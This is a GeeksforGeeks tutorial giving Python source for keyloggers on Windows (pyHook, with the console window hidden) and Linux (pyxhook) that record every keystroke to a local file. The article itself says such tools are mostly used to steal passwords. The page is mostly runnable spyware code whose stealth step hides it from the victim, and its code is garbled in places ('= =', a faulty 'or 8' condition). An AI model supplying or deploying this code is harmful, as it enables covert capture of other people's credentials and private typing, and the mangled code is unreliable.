Keystroke logging is the process of recording (logging) the keys pressed on a keyboard (usually when the user is unaware). It is also known as keylogging or keyboard capturing.
These programs are used for troubleshooting technical problems with computers and business networks. It can also be used to monitor network usages but more often than not it is used for malicious intents like stealing passwords.
This article illustrates designing a keylogger for windows and Linux.
Keylogger for Windows
Download some python libraries
1) pywin32
2) pyhook‘
Following is the code to create a keylogger in python
Python3
import win32api
import win32console
import win32gui
import pythoncom, pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0 )
def OnKeyboardEvent(event):
if event.Ascii = = 5 :
_exit( 1 )
if event.Ascii ! = 0 or 8 :
f = open ( 'c:\output.txt' , 'r+' )
buffer = f.read()
f.close()
f = open ( 'c:\output.txt' , 'w' )
keylogs = chr (event.Ascii)
if event.Ascii = = 13 :
keylogs = '/n'
buffer + = keylogs
f.write( buffer )
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
|
Save the file in C:\ as Keylogger.py and run the python file
Output:
The keylogger will be started in the background and save all the data on the log file “c:\output.txt”.
Keylogger in Linux
pyxhook requires python-Xlib. Install it if you don’t have it already.
sudo apt-get install python-xlib
Download pyxhook library
Python3
import os
import pyxhook
log_file = os.environ.get(
'pylogger_file' ,
os.path.expanduser( '~/Desktop/file.log' )
)
cancel_key = ord (
os.environ.get(
'pylogger_cancel' ,
'`'
)[ 0 ]
)
if os.environ.get( 'pylogger_clean' , None ) is not None :
try :
os.remove(log_file)
except EnvironmentError:
pass
def OnKeyPress(event):
with open (log_file, 'a' ) as f:
f.write( '{}\n' . format (event.Key))
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()
try :
new_hook.start()
except KeyboardInterrupt:
pass
except Exception as ex:
msg = 'Error while catching events:\n {}' . format (ex)
pyxhook.print_err(msg)
with open (log_file, 'a' ) as f:
f.write( '\n{}' . format (msg))
|
Output:
The keylogger will be started in the background and save all the data on the file.log file “/home/Akash/Desktop”.
References
https://en.wikipedia.org/wiki/Keystroke_logging
This article is contributed by Akash Sharan. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.